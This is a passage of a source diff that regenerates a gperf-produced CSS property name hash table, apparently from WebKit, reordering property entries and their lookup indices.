+      {"-webkit-box-align", CSSPropertyWebkitBoxAlign},
+#line 169 "CSSPropertyNames.gperf"
+      {"-webkit-border-vertical-spacing", CSSPropertyWebkitBorderVerticalSpacing},
+#line 33 "CSSPropertyNames.gperf"
+      {"border-left-color", CSSPropertyBorderLeftColor},
+#line 193 "CSSPropertyNames.gperf"
+      {"-webkit-font-size-delta", CSSPropertyWebkitFontSizeDelta},
+#line 133 "CSSPropertyNames.gperf"
+      {"text-underline-mode", CSSPropertyTextUnderlineMode},
+#line 177 "CSSPropertyNames.gperf"
+      {"-webkit-box-pack", CSSPropertyWebkitBoxPack},
+#line 110 "CSSPropertyNames.gperf"
+      {"right", CSSPropertyRight},
+#line 209 "CSSPropertyNames.gperf"
       {"-webkit-mask-attachment", CSSPropertyWebkitMaskAttachment},
-#line 115 "CSSPropertyNames.gperf"
-      {"text-decoration", CSSPropertyTextDecoration},
+#line 187 "CSSPropertyNames.gperf"
+      {"-webkit-column-rule", CSSPropertyWebkitColumnRule},
+#line 37 "CSSPropertyNames.gperf"
+      {"border-right", CSSPropertyBorderRight},
+#line 210 "CSSPropertyNames.gperf"
+      {"-webkit-mask-box-image", CSSPropertyWebkitMaskBoxImage},
+#line 180 "CSSPropertyNames.gperf"
+      {"-webkit-box-sizing", CSSPropertyWebkitBoxSizing},
+#line 163 "CSSPropertyNames.gperf"
+      {"-webkit-background-size", CSSPropertyWebkitBackgroundSize},
+#line 13 "CSSPropertyNames.gperf"
+      {"background-color", CSSPropertyBackgroundColor},
+#line 141 "CSSPropertyNames.gperf"
+      {"white-space", CSSPropertyWhiteSpace},
+#line 16 "CSSPropertyNames.gperf"
+      {"background-position", CSSPropertyBackgroundPosition},
+#line 19 "CSSPropertyNames.gperf"
+      {"background-repeat", CSSPropertyBackgroundRepeat},
+#line 186 "CSSPropertyNames.gperf"
+      {"-webkit-column-gap", CSSPropertyWebkitColumnGap},
+#line 252 "CSSPropertyNames.gperf"
+      {"-webkit-dashboard-region", CSSPropertyWebkitDashboardRegion},
+#line 93 "CSSPropertyNames.gperf"
+      {"outline-width", CSSPropertyOutlineWidth},
+#line 132 "CSSPropertyNames.gperf"
+      {"text-underline-color", CSSPropertyTextUnderlineColor},
+#line 265 "CSSPropertyNames.gperf"
+      {"color-profile", CSSPropertyColorProfile},
 #line 80 "CSSPropertyNames.gperf"
       {"margin-left", CSSPropertyMarginLeft},
+#line 233 "CSSPropertyNames.gperf"
+      {"-webkit-text-size-adjust", CSSPropertyWebkitTextSizeAdjust},
+#line 185 "CSSPropertyNames.gperf"
+      {"-webkit-column-count", CSSPropertyWebkitColumnCount},
+#line 188 "CSSPropertyNames.gperf"
+      {"-webkit-column-rule-color", CSSPropertyWebkitColumnRuleColor},
+#line 264 "CSSPropertyNames.gperf"
+      {"color-interpolation-filters", CSSPropertyColorInterpolationFilters},
+#line 38 "CSSPropertyNames.gperf"
+      {"border-right-color", CSSPropertyBorderRightColor},
+#line 253 "CSSPropertyNames.gperf"
+      {"clip-path", CSSPropertyClipPath},
+#line 275 "CSSPropertyNames.gperf"
+      {"shape-rendering", CSSPropertyShapeRendering},
+#line 15 "CSSPropertyNames.gperf"
+      {"background-origin", CSSPropertyBackgroundOrigin},
+#line 292 "CSSPropertyNames.gperf"
+      {"-webkit-svg-shadow", CSSPropertyWebkitSvgShadow},
+#line 269 "CSSPropertyNames.gperf"
+      {"fill-rule", CSSPropertyFillRule},
 #line 12 "CSSPropertyNames.gperf"
       {"background-clip", CSSPropertyBackgroundClip},
-#line 199 "CSSPropertyNames.gperf"
-      {"-webkit-margin-top-collapse", CSSPropertyWebkitMarginTopCollapse},
-#line 168 "CSSPropertyNames.gperf"
-      {"-webkit-border-vertical-spacing", CSSPropertyWebkitBorderVerticalSpacing},
-#line 251 "CSSPropertyNames.gperf"
-      {"clip-rule", CSSPropertyClipRule},
-#line 170 "CSSPropertyNames.gperf"
-      {"-webkit-box-direction", CSSPropertyWebkitBoxDirection},
-#line 141 "CSSPropertyNames.gperf"
-      {"white-space", CSSPropertyWhiteSpace},
-#line 114 "CSSPropertyNames.gperf"
-      {"text-align", CSSPropertyTextAlign},
-#line 217 "CSSPropertyNames.gperf"
-      {"-webkit-mask-repeat-x", CSSPropertyWebkitMaskRepeatX},
-#line 159 "CSSPropertyNames.gperf"
+#line 238 "CSSPropertyNames.gperf"
+      {"-webkit-transform-origin", CSSPropertyWebkitTransformOrigin},
+#line 14 "CSSPropertyNames.gperf"
+      {"background-image", CSSPropertyBackgroundImage},
+#line 26 "CSSPropertyNames.gperf"
+      {"border-bottom-left-radius", CSSPropertyBorderBottomLeftRadius},
+#line 162 "CSSPropertyNames.gperf"
+      {"-webkit-background-origin", CSSPropertyWebkitBackgroundOrigin},
+#line 160 "CSSPropertyNames.gperf"
       {"-webkit-background-clip", CSSPropertyWebkitBackgroundClip},
-#line 218 "CSSPropertyNames.gperf"
-      {"-webkit-mask-repeat-y", CSSPropertyWebkitMaskRepeatY},
-#line 169 "CSSPropertyNames.gperf"
-      {"-webkit-box-align", CSSPropertyWebkitBoxAlign},
-#line 214 "CSSPropertyNames.gperf"
-      {"-webkit-mask-position-x", CSSPropertyWebkitMaskPositionX},
+#line 161 "CSSPropertyNames.gperf"
+      {"-webkit-background-composite", CSSPropertyWebkitBackgroundComposite},
+#line 241 "CSSPropertyNames.gperf"
+      {"-webkit-transform-origin-z", CSSPropertyWebkitTransformOriginZ},
 #line 99 "CSSPropertyNames.gperf"
       {"padding-left", CSSPropertyPaddingLeft},
+#line 129 "CSSPropertyNames.gperf"
+      {"text-shadow", CSSPropertyTextShadow},
+#line 84 "CSSPropertyNames.gperf"
+      {"max-width", CSSPropertyMaxWidth},
+#line 104 "CSSPropertyNames.gperf"
+      {"page-break-before", CSSPropertyPageBreakBefore},
+#line 103 "CSSPropertyNames.gperf"
+      {"page-break-after", CSSPropertyPageBreakAfter},
+#line 81 "CSSPropertyNames.gperf"
+      {"margin-right", CSSPropertyMarginRight},
 #line 191 "CSSPropertyNames.gperf"
-      {"-webkit-font-size-delta", CSSPropertyWebkitFontSizeDelta},
+      {"-webkit-column-width", CSSPropertyWebkitColumnWidth},
+#line 179 "CSSPropertyNames.gperf"
+      {"-webkit-box-shadow", CSSPropertyWebkitBoxShadow},
+#line 45 "CSSPropertyNames.gperf"
+      {"border-top-left-radius", CSSPropertyBorderTopLeftRadius},
+#line 130 "CSSPropertyNames.gperf"
+      {"text-transform", CSSPropertyTextTransform},
+#line 127 "CSSPropertyNames.gperf"
+      {"text-overline-width", CSSPropertyTextOverlineWidth},
+#line 236 "CSSPropertyNames.gperf"
+      {"-webkit-text-stroke-width", CSSPropertyWebkitTextStrokeWidth},
+#line 290 "CSSPropertyNames.gperf"
+      {"text-anchor", CSSPropertyTextAnchor},
 #line 27 "CSSPropertyNames.gperf"
       {"border-bottom-right-radius", CSSPropertyBorderBottomRightRadius},
-#line 87 "CSSPropertyNames.gperf"
-      {"opacity", CSSPropertyOpacity},
-#line 38 "CSSPropertyNames.gperf"
-      {"border-right-color", CSSPropertyBorderRightColor},
-#line 176 "CSSPropertyNames.gperf"
-      {"-webkit-box-pack", CSSPropertyWebkitBoxPack},
-#line 173 "CSSPropertyNames.gperf"
-      {"-webkit-box-lines", CSSPropertyWebkitBoxLines},
 #line 42 "CSSPropertyNames.gperf"
       {"border-style", CSSPropertyBorderStyle},
-#line 215 "CSSPropertyNames.gperf"
-      {"-webkit-mask-position-y", CSSPropertyWebkitMaskPositionY},
-#line 94 "CSSPropertyNames.gperf"
-      {"overflow", CSSPropertyOverflow},
+#line 74 "CSSPropertyNames.gperf"
+      {"list-style", CSSPropertyListStyle},
+#line 183 "CSSPropertyNames.gperf"
+      {"-webkit-column-break-before", CSSPropertyWebkitColumnBreakBefore},
+#line 95 "CSSPropertyNames.gperf"
+      {"overflow-x", CSSPropertyOverflowX},
+#line 182 "CSSPropertyNames.gperf"
+      {"-webkit-column-break-after", CSSPropertyWebkitColumnBreakAfter},
+#line 122 "CSSPropertyNames.gperf"
+      {"text-overflow", CSSPropertyTextOverflow},
 #line 28 "CSSPropertyNames.gperf"
       {"border-bottom-style", CSSPropertyBorderBottomStyle},
-#line 264 "CSSPropertyNames.gperf"
-      {"fill", CSSPropertyFill},
+#line 260 "CSSPropertyNames.gperf"
+      {"lighting-color", CSSPropertyLightingColor},
+#line 100 "CSSPropertyNames.gperf"
+      {"padding-right", CSSPropertyPaddingRight},
+#line 227 "CSSPropertyNames.gperf"
+      {"-webkit-perspective-origin-x", CSSPropertyWebkitPerspectiveOriginX},
+#line 285 "CSSPropertyNames.gperf"
+      {"baseline-shift", CSSPropertyBaselineShift},
+#line 175 "CSSPropertyNames.gperf"
+      {"-webkit-box-ordinal-group", CSSPropertyWebkitBoxOrdinalGroup},
+#line 166 "CSSPropertyNames.gperf"
+      {"-webkit-border-horizontal-spacing", CSSPropertyWebkitBorderHorizontalSpacing},
+#line 140 "CSSPropertyNames.gperf"
+      {"visibility", CSSPropertyVisibility},
+#line 35 "CSSPropertyNames.gperf"
+      {"border-left-width", CSSPropertyBorderLeftWidth},
+#line 244 "CSSPropertyNames.gperf"
+      {"-webkit-transition-delay", CSSPropertyWebkitTransitionDelay},
 #line 150 "CSSPropertyNames.gperf"
       {"-webkit-animation-delay", CSSPropertyWebkitAnimationDelay},
-#line 279 "CSSPropertyNames.gperf"
-      {"stroke-opacity", CSSPropertyStrokeOpacity},
-#line 123 "CSSPropertyNames.gperf"
-      {"text-overline", CSSPropertyTextOverline},
-#line 183 "CSSPropertyNames.gperf"
-      {"-webkit-column-count", CSSPropertyWebkitColumnCount},
-#line 125 "CSSPropertyNames.gperf"
-      {"text-overline-mode", CSSPropertyTextOverlineMode},
 #line 46 "CSSPropertyNames.gperf"
       {"border-top-right-radius", CSSPropertyBorderTopRightRadius},
-#line 242 "CSSPropertyNames.gperf"
-      {"-webkit-transition-delay", CSSPropertyWebkitTransitionDelay},
+#line 178 "CSSPropertyNames.gperf"
+      {"-webkit-box-reflect", CSSPropertyWebkitBoxReflect},
+#line 231 "CSSPropertyNames.gperf"
+      {"-webkit-text-fill-color", CSSPropertyWebkitTextFillColor},
+#line 17 "CSSPropertyNames.gperf"
+      {"background-position-x", CSSPropertyBackgroundPositionX},
 #line 60 "CSSPropertyNames.gperf"
       {"display", CSSPropertyDisplay},
-#line 93 "CSSPropertyNames.gperf"
-      {"outline-width", CSSPropertyOutlineWidth},
-#line 244 "CSSPropertyNames.gperf"
-      {"-webkit-transition-property", CSSPropertyWebkitTransitionProperty},
+#line 20 "CSSPropertyNames.gperf"
+      {"background-repeat-x", CSSPropertyBackgroundRepeatX},
 #line 47 "CSSPropertyNames.gperf"
       {"border-top-style", CSSPropertyBorderTopStyle},
-#line 185 "CSSPropertyNames.gperf"
-      {"-webkit-column-rule", CSSPropertyWebkitColumnRule},
-#line 140 "CSSPropertyNames.gperf"
-      {"visibility", CSSPropertyVisibility},
-#line 250 "CSSPropertyNames.gperf"
-      {"clip-path", CSSPropertyClipPath},
-#line 259 "CSSPropertyNames.gperf"
-      {"stop-opacity", CSSPropertyStopOpacity},
-#line 249 "CSSPropertyNames.gperf"
-      {"-webkit-variable-declaration-block", CSSPropertyWebkitVariableDeclarationBlock},
-#line 231 "CSSPropertyNames.gperf"
-      {"-webkit-text-size-adjust", CSSPropertyWebkitTextSizeAdjust},
-#line 233 "CSSPropertyNames.gperf"
-      {"-webkit-text-stroke-color", CSSPropertyWebkitTextStrokeColor},
-#line 257 "CSSPropertyNames.gperf"
-      {"lighting-color", CSSPropertyLightingColor},
+#line 66 "CSSPropertyNames.gperf"
+      {"font-stretch", CSSPropertyFontStretch},
+#line 76 "CSSPropertyNames.gperf"
+      {"list-style-position", CSSPropertyListStylePosition},
+#line 135 "CSSPropertyNames.gperf"
+      {"text-underline-width", CSSPropertyTextUnderlineWidth},
 #line 70 "CSSPropertyNames.gperf"
       {"height", CSSPropertyHeight},
-#line 255 "CSSPropertyNames.gperf"
-      {"flood-color", CSSPropertyFloodColor},
-#line 156 "CSSPropertyNames.gperf"
-      {"-webkit-animation-timing-function", CSSPropertyWebkitAnimationTimingFunction},
-#line 131 "CSSPropertyNames.gperf"
-      {"text-underline", CSSPropertyTextUnderline},
 #line 85 "CSSPropertyNames.gperf"
       {"min-height", CSSPropertyMinHeight},
-#line 155 "CSSPropertyNames.gperf"
+#line 73 "CSSPropertyNames.gperf"
+      {"line-height", CSSPropertyLineHeight},
+#line 217 "CSSPropertyNames.gperf"
+      {"-webkit-mask-position-y", CSSPropertyWebkitMaskPositionY},
+#line 190 "CSSPropertyNames.gperf"
+      {"-webkit-column-rule-width", CSSPropertyWebkitColumnRuleWidth},
+#line 220 "CSSPropertyNames.gperf"
+      {"-webkit-mask-repeat-y", CSSPropertyWebkitMaskRepeatY},
+#line 40 "CSSPropertyNames.gperf"
+      {"border-right-width", CSSPropertyBorderRightWidth},
+#line 247 "CSSPropertyNames.gperf"
+      {"-webkit-transition-timing-function", CSSPropertyWebkitTransitionTimingFunction},
+#line 87 "CSSPropertyNames.gperf"
+      {"opacity", CSSPropertyOpacity},
+#line 156 "CSSPropertyNames.gperf"
       {"-webkit-animation-play-state", CSSPropertyWebkitAnimationPlayState},
-#line 133 "CSSPropertyNames.gperf"
-      {"text-underline-mode", CSSPropertyTextUnderlineMode},
-#line 26 "CSSPropertyNames.gperf"
-      {"border-bottom-left-radius", CSSPropertyBorderBottomLeftRadius},
 #line 11 "CSSPropertyNames.gperf"
       {"background-attachment", CSSPropertyBackgroundAttachment},
-#line 33 "CSSPropertyNames.gperf"
-      {"border-left-color", CSSPropertyBorderLeftColor},
-#line 74 "CSSPropertyNames.gperf"
-      {"list-style", CSSPropertyListStyle},
-#line 165 "CSSPropertyNames.gperf"
-      {"-webkit-border-horizontal-spacing", CSSPropertyWebkitBorderHorizontalSpacing},
-#line 245 "CSSPropertyNames.gperf"
-      {"-webkit-transition-timing-function", CSSPropertyWebkitTransitionTimingFunction},
+#line 157 "CSSPropertyNames.gperf"
+      {"-webkit-animation-timing-function", CSSPropertyWebkitAnimationTimingFunction},
+#line 239 "CSSPropertyNames.gperf"
+      {"-webkit-transform-origin-x", CSSPropertyWebkitTransformOriginX},
+#line 222 "CSSPropertyNames.gperf"
+      {"-webkit-match-nearest-mail-blockquote-color", CSSPropertyWebkitMatchNearestMailBlockquoteColor},
+#line 61 "CSSPropertyNames.gperf"
+      {"empty-cells", CSSPropertyEmptyCells},
+#line 282 "CSSPropertyNames.gperf"
+      {"stroke-opacity", CSSPropertyStrokeOpacity},
 #line 75 "CSSPropertyNames.gperf"
       {"list-style-image", CSSPropertyListStyleImage},
-#line 40 "CSSPropertyNames.gperf"
-      {"border-right-width", CSSPropertyBorderRightWidth},
-#line 189 "CSSPropertyNames.gperf"
-      {"-webkit-column-width", CSSPropertyWebkitColumnWidth},
-#line 20 "CSSPropertyNames.gperf"
-      {"background-repeat-x", CSSPropertyBackgroundRepeatX},
 #line 69 "CSSPropertyNames.gperf"
       {"font-weight", CSSPropertyFontWeight},
-#line 262 "CSSPropertyNames.gperf"
-      {"color-profile", CSSPropertyColorProfile},
-#line 45 "CSSPropertyNames.gperf"
-      {"border-top-left-radius", CSSPropertyBorderTopLeftRadius},
-#line 21 "CSSPropertyNames.gperf"
-      {"background-repeat-y", CSSPropertyBackgroundRepeatY},
-#line 17 "CSSPropertyNames.gperf"
-      {"background-position-x", CSSPropertyBackgroundPositionX},
-#line 84 "CSSPropertyNames.gperf"
-      {"max-width", CSSPropertyMaxWidth},
-#line 225 "CSSPropertyNames.gperf"
-      {"-webkit-perspective-origin-x", CSSPropertyWebkitPerspectiveOriginX},
-#line 181 "CSSPropertyNames.gperf"
-      {"-webkit-column-break-before", CSSPropertyWebkitColumnBreakBefore},
-#line 180 "CSSPropertyNames.gperf"
-      {"-webkit-column-break-after", CSSPropertyWebkitColumnBreakAfter},
-#line 18 "CSSPropertyNames.gperf"
-      {"background-position-y", CSSPropertyBackgroundPositionY},
-#line 192 "CSSPropertyNames.gperf"
-      {"-webkit-font-smoothing", CSSPropertyWebkitFontSmoothing},
-#line 174 "CSSPropertyNames.gperf"
-      {"-webkit-box-ordinal-group", CSSPropertyWebkitBoxOrdinalGroup},
-#line 205 "CSSPropertyNames.gperf"
-      {"-webkit-marquee-style", CSSPropertyWebkitMarqueeStyle},
-#line 226 "CSSPropertyNames.gperf"
-      {"-webkit-perspective-origin-y", CSSPropertyWebkitPerspectiveOriginY},
-#line 129 "CSSPropertyNames.gperf"
-      {"text-shadow", CSSPropertyTextShadow},
-#line 73 "CSSPropertyNames.gperf"
-      {"line-height", CSSPropertyLineHeight},
-#line 76 "CSSPropertyNames.gperf"
-      {"list-style-position", CSSPropertyListStylePosition},
-#line 113 "CSSPropertyNames.gperf"
-      {"table-layout", CSSPropertyTableLayout},
-#line 178 "CSSPropertyNames.gperf"
-      {"-webkit-box-shadow", CSSPropertyWebkitBoxShadow},
-#line 124 "CSSPropertyNames.gperf"
-      {"text-overline-color", CSSPropertyTextOverlineColor},
-#line 61 "CSSPropertyNames.gperf"
-      {"empty-cells", CSSPropertyEmptyCells},
-#line 234 "CSSPropertyNames.gperf"
-      {"-webkit-text-stroke-width", CSSPropertyWebkitTextStrokeWidth},
-#line 130 "CSSPropertyNames.gperf"
-      {"text-transform", CSSPropertyTextTransform},
-#line 66 "CSSPropertyNames.gperf"
-      {"font-stretch", CSSPropertyFontStretch},
 #line 92 "CSSPropertyNames.gperf"
       {"outline-style", CSSPropertyOutlineStyle},
-#line 287 "CSSPropertyNames.gperf"
-      {"text-anchor", CSSPropertyTextAnchor},
-#line 186 "CSSPropertyNames.gperf"
-      {"-webkit-column-rule-color", CSSPropertyWebkitColumnRuleColor},
-#line 274 "CSSPropertyNames.gperf"
+#line 113 "CSSPropertyNames.gperf"
+      {"table-layout", CSSPropertyTableLayout},
+#line 246 "CSSPropertyNames.gperf"
+      {"-webkit-transition-property", CSSPropertyWebkitTransitionProperty},
+#line 194 "CSSPropertyNames.gperf"
+      {"-webkit-font-smoothing", CSSPropertyWebkitFontSmoothing},
+#line 262 "CSSPropertyNames.gperf"
+      {"stop-opacity", CSSPropertyStopOpacity},
+#line 207 "CSSPropertyNames.gperf"
+      {"-webkit-marquee-style", CSSPropertyWebkitMarqueeStyle},
+#line 91 "CSSPropertyNames.gperf"
+      {"outline-offset", CSSPropertyOutlineOffset},
+#line 172 "CSSPropertyNames.gperf"
+      {"-webkit-box-flex", CSSPropertyWebkitBoxFlex},
+#line 126 "CSSPropertyNames.gperf"
+      {"text-overline-style", CSSPropertyTextOverlineStyle},
+#line 277 "CSSPropertyNames.gperf"
       {"stroke-dasharray", CSSPropertyStrokeDasharray},
-#line 35 "CSSPropertyNames.gperf"
-      {"border-left-width", CSSPropertyBorderLeftWidth},
-#line 266 "CSSPropertyNames.gperf"
-      {"fill-rule", CSSPropertyFillRule},
-#line 237 "CSSPropertyNames.gperf"
-      {"-webkit-transform-origin-x", CSSPropertyWebkitTransformOriginX},
-#line 282 "CSSPropertyNames.gperf"
-      {"baseline-shift", CSSPropertyBaselineShift},
-#line 132 "CSSPropertyNames.gperf"
-      {"text-underline-color", CSSPropertyTextUnderlineColor},
-#line 238 "CSSPropertyNames.gperf"
-      {"-webkit-transform-origin-y", CSSPropertyWebkitTransformOriginY},
-#line 261 "CSSPropertyNames.gperf"
-      {"color-interpolation-filters", CSSPropertyColorInterpolationFilters},
-#line 39 "CSSPropertyNames.gperf"
-      {"border-right-style", CSSPropertyBorderRightStyle},
 #line 67 "CSSPropertyNames.gperf"
       {"font-style", CSSPropertyFontStyle},
-#line 127 "CSSPropertyNames.gperf"
-      {"text-overline-width", CSSPropertyTextOverlineWidth},
-#line 95 "CSSPropertyNames.gperf"
-      {"overflow-x", CSSPropertyOverflowX},
-#line 122 "CSSPropertyNames.gperf"
-      {"text-overflow", CSSPropertyTextOverflow},
-#line 177 "CSSPropertyNames.gperf"
-      {"-webkit-box-reflect", CSSPropertyWebkitBoxReflect},
-#line 247 "CSSPropertyNames.gperf"
-      {"-webkit-user-modify", CSSPropertyWebkitUserModify},
-#line 188 "CSSPropertyNames.gperf"
-      {"-webkit-column-rule-width", CSSPropertyWebkitColumnRuleWidth},
-#line 96 "CSSPropertyNames.gperf"
-      {"overflow-y", CSSPropertyOverflowY},
-#line 240 "CSSPropertyNames.gperf"
-      {"-webkit-transform-style", CSSPropertyWebkitTransformStyle},
-#line 91 "CSSPropertyNames.gperf"
-      {"outline-offset", CSSPropertyOutlineOffset},
-#line 135 "CSSPropertyNames.gperf"
-      {"text-underline-width", CSSPropertyTextUnderlineWidth},
-#line 256 "CSSPropertyNames.gperf"
-      {"flood-opacity", CSSPropertyFloodOpacity},
 #line 34 "CSSPropertyNames.gperf"
       {"border-left-style", CSSPropertyBorderLeftStyle},
 #line 83 "CSSPropertyNames.gperf"
       {"max-height", CSSPropertyMaxHeight},
-#line 230 "CSSPropertyNames.gperf"
-      {"-webkit-text-security", CSSPropertyWebkitTextSecurity},
-#line 193 "CSSPropertyNames.gperf"
-      {"-webkit-highlight", CSSPropertyWebkitHighlight},
-#line 265 "CSSPropertyNames.gperf"
-      {"fill-opacity", CSSPropertyFillOpacity},
-#line 275 "CSSPropertyNames.gperf"
+#line 278 "CSSPropertyNames.gperf"
       {"stroke-dashoffset", CSSPropertyStrokeDashoffset},
-#line 126 "CSSPropertyNames.gperf"
-      {"text-overline-style", CSSPropertyTextOverlineStyle},
-#line 77 "CSSPropertyNames.gperf"
-      {"list-style-type", CSSPropertyListStyleType},
-#line 220 "CSSPropertyNames.gperf"
-      {"-webkit-match-nearest-mail-blockquote-color", CSSPropertyWebkitMatchNearestMailBlockquoteColor},
-#line 187 "CSSPropertyNames.gperf"
-      {"-webkit-column-rule-style", CSSPropertyWebkitColumnRuleStyle},
-#line 158 "CSSPropertyNames.gperf"
-      {"-webkit-backface-visibility", CSSPropertyWebkitBackfaceVisibility},
-#line 229 "CSSPropertyNames.gperf"
-      {"-webkit-text-fill-color", CSSPropertyWebkitTextFillColor},
+#line 242 "CSSPropertyNames.gperf"
+      {"-webkit-transform-style", CSSPropertyWebkitTransformStyle},
+#line 96 "CSSPropertyNames.gperf"
+      {"overflow-y", CSSPropertyOverflowY},
+#line 228 "CSSPropertyNames.gperf"
+      {"-webkit-perspective-origin-y", CSSPropertyWebkitPerspectiveOriginY},
 #line 134 "CSSPropertyNames.gperf"
       {"text-underline-style", CSSPropertyTextUnderlineStyle},
-#line 285 "CSSPropertyNames.gperf"
-      {"glyph-orientation-vertical", CSSPropertyGlyphOrientationVertical},
-#line 64 "CSSPropertyNames.gperf"
-      {"font-family", CSSPropertyFontFamily},
-#line 171 "CSSPropertyNames.gperf"
-      {"-webkit-box-flex", CSSPropertyWebkitBoxFlex},
+#line 189 "CSSPropertyNames.gperf"
+      {"-webkit-column-rule-style", CSSPropertyWebkitColumnRuleStyle},
+#line 39 "CSSPropertyNames.gperf"
+      {"border-right-style", CSSPropertyBorderRightStyle},
+#line 18 "CSSPropertyNames.gperf"
+      {"background-position-y", CSSPropertyBackgroundPositionY},
+#line 21 "CSSPropertyNames.gperf"
+      {"background-repeat-y", CSSPropertyBackgroundRepeatY},
+#line 230 "CSSPropertyNames.gperf"
+      {"-webkit-text-decorations-in-effect", CSSPropertyWebkitTextDecorationsInEffect},
+#line 259 "CSSPropertyNames.gperf"
+      {"flood-opacity", CSSPropertyFloodOpacity},
+#line 268 "CSSPropertyNames.gperf"
+      {"fill-opacity", CSSPropertyFillOpacity},
+#line 232 "CSSPropertyNames.gperf"
+      {"-webkit-text-security", CSSPropertyWebkitTextSecurity},
+#line 240 "CSSPropertyNames.gperf"
+      {"-webkit-transform-origin-y", CSSPropertyWebkitTransformOriginY},
 #line 117 "CSSPropertyNames.gperf"
       {"text-line-through", CSSPropertyTextLineThrough},
 #line 119 "CSSPropertyNames.gperf"
       {"text-line-through-mode", CSSPropertyTextLineThroughMode},
-#line 228 "CSSPropertyNames.gperf"
-      {"-webkit-text-decorations-in-effect", CSSPropertyWebkitTextDecorationsInEffect},
-#line 284 "CSSPropertyNames.gperf"
-      {"glyph-orientation-horizontal", CSSPropertyGlyphOrientationHorizontal},
-#line 172 "CSSPropertyNames.gperf"
-      {"-webkit-box-flex-group", CSSPropertyWebkitBoxFlexGroup},
+#line 249 "CSSPropertyNames.gperf"
+      {"-webkit-user-modify", CSSPropertyWebkitUserModify},
+#line 159 "CSSPropertyNames.gperf"
+      {"-webkit-backface-visibility", CSSPropertyWebkitBackfaceVisibility},
+#line 195 "CSSPropertyNames.gperf"
+      {"-webkit-highlight", CSSPropertyWebkitHighlight},
 #line 118 "CSSPropertyNames.gperf"
       {"text-line-through-color", CSSPropertyTextLineThroughColor},
+#line 173 "CSSPropertyNames.gperf"
+      {"-webkit-box-flex-group", CSSPropertyWebkitBoxFlexGroup},
+#line 288 "CSSPropertyNames.gperf"
+      {"glyph-orientation-vertical", CSSPropertyGlyphOrientationVertical},
+#line 64 "CSSPropertyNames.gperf"
+      {"font-family", CSSPropertyFontFamily},
+#line 77 "CSSPropertyNames.gperf"
+      {"list-style-type", CSSPropertyListStyleType},
 #line 121 "CSSPropertyNames.gperf"
       {"text-line-through-width", CSSPropertyTextLineThroughWidth},
+#line 287 "CSSPropertyNames.gperf"
+      {"glyph-orientation-horizontal", CSSPropertyGlyphOrientationHorizontal},
 #line 120 "CSSPropertyNames.gperf"
       {"text-line-through-style", CSSPropertyTextLineThroughStyle}
     };
@@ -800,153 +803,172 @@ findProp (register const char *str, register unsigned int len)
   static const short lookup[] =
     {
        -1,  -1,  -1,  -1,  -1,  -1,   0,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,   1,  -1,   2,  -1,  -1,  -1,
-       -1,   3,  -1,   4,  -1,   5,   6,   7,  -1,  -1,
-        8,  -1,  -1,   9,  10,  -1,  11,  -1,  -1,  12,
-       13,  -1,  14,  -1,  -1,  15,  16,  -1,  -1,  -1,
-       17,  -1,  18,  -1,  -1,  19,  -1,  20,  21,  -1,
-       -1,  22,  23,  -1,  -1,  -1,  -1,  24,  -1,  25,
-       -1,  -1,  -1,  26,  -1,  27,  -1,  28,  29,  30,
-       -1,  -1,  -1,  -1,  31,  32,  -1,  -1,  -1,  -1,
-       33,  -1,  34,  35,  36,  -1,  -1,  37,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  38,  39,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  40,  -1,  -1,
-       -1,  -1,  41,  -1,  -1,  -1,  -1,  -1,  -1,  42,
-       -1,  -1,  -1,  -1,  -1,  -1,  43,  -1,  -1,  -1,
-       -1,  44,  -1,  -1,  -1,  -1,  -1,  45,  -1,  -1,
-       -1,  46,  -1,  47,  -1,  -1,  -1,  48,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  49,  -1,  -1,  -1,  -1,
-       50,  -1,  51,  -1,  -1,  -1,  -1,  52,  -1,  -1,
-       -1,  -1,  -1,  -1,  53,  -1,  -1,  -1,  -1,  -1,
-       54,  -1,  -1,  -1,  55,  56,  -1,  -1,  57,  -1,
-       -1,  58,  59,  -1,  -1,  -1,  -1,  60,  -1,  -1,
-       61,  -1,  -1,  -1,  62,  -1,  63,  64,  -1,  -1,
-       -1,  65,  66,  -1,  -1,  67,  -1,  -1,  -1,  -1,
-       -1,  -1,  68,  -1,  -1,  -1,  -1,  -1,  -1,  69,
-       -1,  -1,  70,  71,  -1,  72,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  73,  -1,  -1,  74,  75,  -1,  -1,
-       -1,  76,  -1,  -1,  -1,  -1,  77,  78,  79,  -1,
-       -1,  -1,  -1,  -1,  -1,  80,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  81,  -1,  82,  83,  -1,  -1,  84,
-       85,  -1,  -1,  -1,  86,  -1,  87,  88,  -1,  -1,
-       -1,  -1,  -1,  89,  -1,  90,  -1,  -1,  91,  -1,
-       92,  -1,  -1,  -1,  -1,  -1,  -1,  93,  -1,  -1,
-       -1,  -1,  -1,  -1,  94,  -1,  -1,  -1,  -1,  -1,
-       95,  -1,  96,  -1,  -1,  97,  -1,  -1,  -1,  98,
-       -1,  -1,  -1,  -1,  99,  -1, 100, 101,  -1,  -1,
-       -1,  -1, 102,  -1, 103,  -1,  -1, 104,  -1, 105,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 106,  -1,  -1,
-       -1,  -1, 107,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      108,  -1,  -1, 109, 110,  -1,  -1,  -1, 111, 112,
-       -1,  -1,  -1,  -1, 113, 114, 115, 116,  -1, 117,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 118, 119, 120,
-       -1, 121,  -1,  -1, 122,  -1,  -1, 123, 124,  -1,
-       -1,  -1, 125, 126,  -1,  -1,  -1,  -1, 127,  -1,
-       -1,  -1,  -1, 128,  -1, 129, 130,  -1,  -1, 131,
-      132,  -1, 133,  -1, 134,  -1, 135,  -1, 136,  -1,
-       -1,  -1, 137, 138, 139,  -1, 140, 141,  -1,  -1,
-      142, 143,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 144,  -1, 145,  -1,  -1,  -1,  -1,  -1,  -1,
-      146, 147,  -1,  -1,  -1, 148,  -1, 149,  -1,  -1,
-       -1, 150,  -1,  -1, 151,  -1, 152,  -1,  -1,  -1,
-       -1, 153,  -1,  -1,  -1, 154, 155,  -1, 156,  -1,
+       -1,   1,  -1,  -1,  -1,  -1,  -1,  -1,   2,  -1,
